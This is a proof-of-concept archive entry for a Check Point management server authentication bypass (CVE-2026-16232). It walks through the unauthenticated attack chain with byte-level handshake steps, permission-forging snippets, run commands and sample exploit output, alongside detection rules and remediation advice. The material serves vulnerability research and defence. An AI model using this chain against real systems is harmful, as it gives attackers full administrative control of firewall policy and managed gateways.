Check Point Security Management / Multi-Domain Server SmartConsole Authentication Bypass via Forged Application Certificate Bind (CVE-2026-16232)
Published: 2026-08-09 • Researcher: Stephen Fewer (Rapid7 Labs)
Exploitation signals
Confirmed exploited in the wild. Added to CISA KEV 2026-07-22. Federal remediation deadline 2026-07-25.
EPSS 71.4% · 99th percentile
- Severity
- Critical
- CVE
- CVE-2026-16232
- Category
- network
- Affected product
- Check Point Security Management Server and Multi-Domain Security Management Server (MDS) — the legacy FWM/CPMI SIC service on TCP 18190 and the CPM SOAP web services on TCP 19009
- Affected versions
- Per the vendor advisory sk185169: R77.30, R80, R80.10, R80.20, R80.30, R81, R81.10, R81.20, R82 and R82.10. Rapid7 Labs reproduced the issue specifically against R81.20 (through Jumbo Hotfix Take 146) and R82.10
- Disclosed
- 2026-08-09
- Patch status
- Patched
Tags
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-16232
- https://support.checkpoint.com/results/sk/sk185169/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/
- https://github.com/sfewer-r7/CVE-2026-16232
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-08-09 |
| Last Updated | 2026-07-28 |
| Author / Researcher | Stephen Fewer (Rapid7 Labs) |
| CVE / Advisory | CVE-2026-16232 |
| Category | network |
| Severity | Critical |
| CVSS Score | 9.1 (CVSSv3.1) |
| Status | Patched |
| Tags | check-point, smartconsole, security-management-server, multi-domain-server, cpmi, sic, fwm, authentication-bypass, CWE-287, improper-authentication, privilege-escalation, sso-token-forgery, soap, dle, cisa-kev, bod-26-04, python, firewall-management |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Check Point Security Management Server and Multi-Domain Security Management Server (MDS) — the legacy FWM/CPMI SIC service on TCP 18190 and the CPM SOAP web services on TCP 19009 |
| Versions Affected | Per the vendor advisory sk185169: R77.30, R80, R80.10, R80.20, R80.30, R81, R81.10, R81.20, R82 and R82.10. Rapid7 Labs reproduced the issue specifically against R81.20 (through Jumbo Hotfix Take 146) and R82.10 |
| Language / Platform | Check Point Gaia (Linux); the PoC is Python 3, standard library only |
| Authentication Required | No — the exploit begins as an anonymous CPMI client presenting the fixed string CN=Gui_Client |
| Network Access Required | Yes — TCP reachability to the management server on 18190 (SIC/CPMI) and 19009 (CPM SOAP) |
Summary
CVE-2026-16232 is an unauthenticated authentication bypass (CWE-287) in the Check Point SmartConsole login path on Security Management and Multi-Domain Management servers. During the legacy SIC/CPMI bootstrap the management server volunteers its own SIC distinguished name to any client that asks. The vulnerable server then accepts a :certificate_bind request in which the client supplies that same :DN value back, and trusts the client-supplied field as the application certificate identity instead of binding the application identity to the server-derived authenticated SIC peer identity. Handing the server its own DN therefore yields a valid application session, which in turn yields a DLE session token that already reads protected SOAP APIs. From that session the attacker asks FWM to mint a SmartConsole SSO ticket with every permission bit set, redeems it over SOAP, and lands in a full read-write SmartConsole administrator session on the built-in System Data domain. Practical impact is complete control of the security policy and of every gateway the management server manages. CISA added the flaw to the KEV catalog on 2026-07-22 under BOD 26-04, with a due date of 2026-07-25 and knownRansomwareCampaignUse = Unknown.
Vulnerability Details
Root Cause
The management server derives an authenticated peer identity for a SIC connection, but the code path that establishes an application identity does not use it. Instead, the :certificate_bind (1) request body carries a client-controlled :DN field, and the vulnerable server takes that field at face value as the bound application certificate identity. The upstream module docstring states it plainly:
The root cause is that the vulnerable server trusts the client-supplied `:DN`
field during `:certificate_bind` instead of binding the application identity to
the server-derived authenticated SIC identity.The attacker does not need to know or guess the value: the server discloses its own SIC DN during the unauthenticated CPMI handshake, and the PoC simply reads it and echoes it back. The exploit code comments the exact moment of the bug:
| |
The client also declares :client_without_administrator (true) and a :type ("SmartView Reporter Client") with :application_login ("CPM Server"), i.e. it presents itself as a machine-to-machine application client rather than a human administrator — which is precisely the identity class whose binding is broken.
Two secondary weaknesses turn the application bind into full administrative access:
- The application session can open the database and receive a DLE token. An
open-databaseCPMI command over the forged session returns a 43-character base64url DLE session token, which the SOAP tier on 19009 accepts in theDLESESSIONIDheader for protected calls such asgetServerInfo. - The application session can ask FWM to mint a SmartConsole ticket with arbitrary permissions. The
gen-sso-tokencommand accepts an:sso_original_client (SmartConsole ...)block in which the caller states the target account name and its permission bitmask. The PoC requests every bit:withPython1 2 3 4 5 6\t\t:type (SmartConsole) \t\t:sso_original_client (SmartConsole \t\t\t:lower_name ({SSO_LOWER_NAME}) \t\t\t:soap_local_bind (1) \t\t\t:permissions ("ffffffff|ffffffff|ffffffff") \t\t)SSO_LOWER_NAME = "system_admin". The reply carries a 64-hex-character SSO ticket, extracted withre.search(rb"(?<![0-9a-f])[0-9a-f]{64}(?![0-9a-f])", reply).
An interesting engineering detail of this PoC is that it does not use any Check Point client library. It reimplements the wire formats from scratch in the standard library, including the binary EncodeFwset container that the SIC bootstrap messages use before the readable parenthesised FwSet syntax becomes available. huffman_dictionary() serialises an atom-to-bit-code binary tree in which 0x02 opens an internal node, 0x01 separates left from right and terminates the root, and byte values 0x00-0x03 are escaped as 0x03 followed by the value plus 0x0A:
| |
encoded_fwset() then emits dictionary + struct.pack("<I", len(tree_bits)) + tree_bits, matching what the vendor DecodeFwset() expects: a Huffman dictionary, a little-endian byte count, then a compact bitstream. The tree bitstreams are retained as captured constants, which the source acknowledges: “The tree bits are retained only because this PoC does not reimplement the full vendor FwSet serializer.”
The CRL exchange required to bring the SIC TLS session up is the fiddliest part, because the :dn atom is not the DN string — it is the DER-encoded X.509 subject Name, byte-reversed, then hex-encoded, accompanied by a separate little-endian length atom:
| |
The organisation RDN is emitted before the common-name RDN and encoded as PrintableString under OID 55040a, while the common name is UTF8String under OID 550403 — the reversed-DER ordering the vendor client produces.
Attack Vector
Entirely unauthenticated, network-only, over two TCP ports:
- CPMI handshake and DN disclosure (18190). Send the fixed preamble
b"Y\0\0\0\0\0\0A", read four bytes, send the length-prefixed literalCN=Gui_Client\0, sendb"\0\0\0\1\0", and read a length-prefixed blob — that blob is the management server SIC DN (for examplecn=cp_mgmt,o=gw-5622ca..5otbwa). Drain the trailing blob list. - SIC TLS bootstrap. Send
asym_sslca\0, then the(client_ca_cert_req)FwSet to retrieve the CA certificate, then wrap the same socket in TLS pinned to TLSv1.2 with certificate verification disabled, then exchange(client_crl_req ...)for the disclosed subject and answer the reciprocal query with an empty(client_crl_answer :crl_req () :crl_answer ()). Finish withstruct.pack("!III", 12, 0x01010001, 3). - Forged application bind. Send the client capability set as
"SmartView Reporter Client"with:application_login ("CPM Server")and:client_without_administrator (true), then the:certificate_bind (1)body echoing the server DN back as:DN. Success is:status (ok). - DLE token extraction. Issue
open-database; scrape the 43-character base64url token out of the reply, skipping any candidate ending in_mappings:Python1 2tokens = re.findall(rb"(?<![A-Za-z0-9_-])[A-Za-z0-9_-]{43}(?![A-Za-z0-9_-])", reply) token = next(t.decode() for t in tokens if not t.endswith(b"_mappings")) - Ticket minting and redemption (19009). Call
gen-sso-tokenwith full permission bits, then POST a SOAPloginNewto/cpmws/LoginSvcRemotewithapplicationName SmartConsole, the built-in System Data domain GUIDa0eebc99-afed-4ef8-bb6d-fedfedfedfed,UserSSOTokenAuthenticationInfonamingsystem_adminplus the ticket,connectionMode READ_WRITEandworkSessionMode START_NEW. The response yieldssidandclientSessionId.
Impact
Full SmartConsole administrator access, unauthenticated and remote, on the server that governs the entire firewall estate. The PoC demonstrates the privilege delta empirically rather than asserting it: the raw application token calls GetAllAdmins and sees zero records, whereas the redeemed SmartConsole session sees the real administrator inventory including authentication methods. Because the session is requested READ_WRITE on the System Data domain, an attacker in this position can enumerate and modify security policy, alter or disable rules on every managed gateway, create or modify administrator accounts, and install policy — which converts a management-plane bug into arbitrary control of the enforced network perimeter. On a Multi-Domain Server the blast radius spans every managed domain.
Environment / Lab Setup
Target: Check Point Security Management Server or Multi-Domain Security Management
Server, unpatched. Rapid7 reproduced against R81.20 (up to Jumbo Take 146)
and R82.10; sk185169 lists R77.30 through R82.10 as affected.
Ports required: 18190 (SIC/CPMI, FWM) and 19009 (CPM SOAP web services).
Attacker: Any host with Python 3 and network reachability to those two ports.
No third-party packages: the script imports only argparse, re, socket, ssl,
struct, urllib.error, urllib.request and xml.etree.ElementTree.
Tools: CVE-2026-16232.py (this folder), mirrored unmodified from
https://github.com/sfewer-r7/CVE-2026-16232Setup Steps
| |
Proof of Concept
See
CVE-2026-16232.py(full, unmodified) andupstream-README.mdin this folder, mirrored byte-for-byte from sfewer-r7/CVE-2026-16232. Verified before ingestion by reading the complete 482-line script end to end. It is a genuine, self-contained implementation of the full chain: a hand-built Check PointEncodeFwsetHuffman serialiser, DER X.509 subject encoding for the CRL:dnatom, the SIC/CPMI handshake and TLSv1.2 bootstrap on 18190, the forged:certificate_bindcarrying the server own SIC DN, DLE token extraction viaopen-database,gen-sso-tokenwithpermissions ("ffffffff|ffffffff|ffffffff"), and SOAP redemption plusGetAllAdminsproof on 19009. Nothing is stubbed or downloaded at runtime.
Step-by-Step Reproduction
Check the interface — three optional flags, one required target:
Shell script1 2 3 4 5python3 CVE-2026-16232.py --help # --target TARGET management server hostname or IP # --fwm-port FWM_PORT SIC/CPMI port (default: 18190) # --cpm-port CPM_PORT CPM SOAP port (default: 19009) # --timeout TIMEOUT network timeout in seconds (default: 10)Run against a vulnerable management server — the whole chain is unattended:
Shell script1python3 CVE-2026-16232.py --target 192.168.86.15Observe the privilege delta — the script deliberately calls
GetAllAdminstwice, once with the raw application token and once with the redeemed SmartConsole session, so the difference is visible in the transcript (0records versus the full administrator list).Run the negative test against a patched server — the PoC ships an explicit patched-target case, which fails cleanly at the bind step rather than crashing:
Shell script1 2 3 4python3 CVE-2026-16232.py --target 192.168.86.16 # [+] SIC/CPMI connected # [+] Forged application DN: cn=cp_mgmt,o=gw-5622cc..tmbpin # [-] Application bind failed. The target is likely patched and not vulnerable.This makes the script usable as a vulnerability check as well as an exploit.
Exploit Code
See
CVE-2026-16232.pyin this folder for the complete implementation.
| |
| |
Expected Output
===============================================================================================
Rapid7 Labs - Check Point authentication bypass via SmartConsole login process (CVE-2026-16232)
===============================================================================================
[+] Targeting: 192.168.86.15
[+] SIC/CPMI connected
[+] Forged application DN: cn=cp_mgmt,o=gw-5622ca..5otbwa
[+] Application bind succeeded
[+] Application token obtained: XYB8PbLoXXnMx4J7W43UK-BhrjWkolvihp0P98G2qDc
[+] getServerInfo
hostName: gw-5622ca
hostIpAddress: 192.168.86.15
osName: Linux
osVersion: 3.10.0-1160.15.2cpx86_64
[+] Application token GetAllAdmins count: 0
[+] SmartConsole application-token ticket redeemed: 31bd621cc8855634fd97484fec258a18eb14eb8feb14b22c260a4accba715808
[+] GetAllAdmins count: 6
admin: UNIX_PASSWORD
Remote CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
upgrade_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
admin_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
SmartView Reporter Client_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORD
CPM Server_cn=cp_mgmt,o=gw-5622ca..5otbwa: INTERNAL_PASSWORDDetection & Indicators of Compromise
SIEM / IDS Rule (example):
alert tcp any any -> any 18190 (msg:"Possible CVE-2026-16232 Check Point CPMI Gui_Client bootstrap"; \
flow:to_server,established; content:"|59 00 00 00 00 00 00 41|"; depth:8; \
content:"CN=Gui_Client"; distance:0; within:64; sid:9002616232; rev:1;)
alert tcp any any -> any 18190 (msg:"CVE-2026-16232 gen-sso-token with all permission bits"; \
flow:to_server,established; content:"gen-sso-token"; \
content:"ffffffff|7c|ffffffff|7c|ffffffff"; distance:0; sid:9002616233; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Install the fixing Jumbo Hotfix Accumulator per Check Point sk185169: R82.10 Take 36 or later, R82 Take 118 or later, R81.20 Take 158 or later. Rapid7 confirmed the vendor patches stop this PoC from succeeding. CISA added the CVE to KEV on 2026-07-22 under BOD 26-04 with a due date of 2026-07-25, and the required action includes the BOD 26-04 forensics triage steps in addition to patching. |
| Workaround | Per sk185169, until the hotfix is installed: restrict Trusted Clients (GUI clients) to specific trusted IP addresses or subnets rather than leaving the type as Any; firewall management access so only authorised administrative source addresses can reach the management server; and rely on implied rules for control connections so that unauthorised management access is blocked. None of these fix the broken bind — they only reduce who can reach it. |
| Config Hardening | Never expose 18190 or 19009 to untrusted networks; place the management server behind a jump host or management VLAN. Review the administrator inventory and every SmartConsole session and policy-change record covering the exposure window, since an attacker in this position holds a legitimate-looking administrator session. Ship management audit logs off-box and alert on the “application token” authentication-method string. Follow the BOD 26-04 forensics triage requirements before assuming a patched server was never abused. |
References
- NVD — CVE-2026-16232
- Check Point advisory sk185169 (published 2026-07-19, updated 2026-07-22)
- CISA KEV catalog entry (added 2026-07-22, due 2026-07-25, knownRansomwareCampaignUse: Unknown)
- CISA BOD 26-04 — Prioritizing Security Updates Based on Risk
- BOD 26-04 implementation guidance and forensics triage requirements
- Rapid7 analysis — Check Point SmartConsole authentication bypass technical analysis (CVE-2026-16232), by Stephen Fewer — this write-up explicitly references the PoC script mirrored here
- Public PoC — sfewer-r7/CVE-2026-16232
Notes
Verified this session before ingestion by cloning sfewer-r7/CVE-2026-16232 and reading the full source of both files: CVE-2026-16232.py (482 lines) and ReadMe.md (mirrored here as upstream-README.md). Findings: no obfuscated or encoded payloads, no remote downloaders and no runtime fetching of code, no credential harvesting or exfiltration to any third party, no cryptominer logic, no committed binaries or archives, and no setup.py, requirements.txt, pyproject.toml or any other packaging or install hook — so there is no install-time side-effect surface at all. Every import is Python standard library (argparse, re, socket, ssl, struct, urllib.error, urllib.request, xml.etree.ElementTree). The only network destinations are the operator-supplied --target on the two Check Point management ports; there are no hard-coded hosts, no callbacks and no reverse shell in this PoC at all, so the reverse-shell-callback concern does not arise here — any post-exploitation is left entirely to the operator. Every hex-looking constant in the file is accounted for: the DER OIDs 550403/55040a, the CPMI opcode words 0x01010001 and 0x01010E02, and the captured EncodeFwset tree bitstreams, all documented in-line by the author.
Provenance: the author is Stephen Fewer of Rapid7 Labs, publishing under the sfewer-r7 account with commits signed stephen_fewer@rapid7.com. The last upstream commit is 2026-07-28. The corresponding Rapid7 analysis, authored by him, explicitly points readers at this PoC repository and states that Rapid7 Labs reproduced the issue against affected R81.20 and R82.10 builds and confirmed the vendor patches prevent the script from succeeding — so upstream provenance, vendor advisory and public analysis all corroborate one another.
Both files in this folder are byte-for-byte identical to a fresh upstream clone, verified with diff and sha256sum — no reformatting, paraphrasing or rewriting was performed.
Notable qualities for archive purposes: this is an unusually well-commented PoC. The author documents the decoded FwSet structure above each binary constant, explains why the Huffman tree bitstreams are hard-coded rather than generated, and includes a working patched-target negative case, which makes the script usable as a safe vulnerability check as well as an exploit. The permissions ("ffffffff|ffffffff|ffffffff") mask and the system_admin SSO name are hard-coded, as is the built-in System Data domain GUID a0eebc99-afed-4ef8-bb6d-fedfedfedfed, so detection engineers can build exact-match signatures against this specific tool without needing a lab.
Threat context at time of ingestion: KEV-listed since 2026-07-22 under BOD 26-04 with a three-day remediation due date, EPSS approximately 0.71 (99.4th percentile). knownRansomwareCampaignUse is recorded as Unknown, so no ransomware association should be claimed for this CVE; the KEV listing reflects confirmed exploitation, not a ransomware linkage.
| |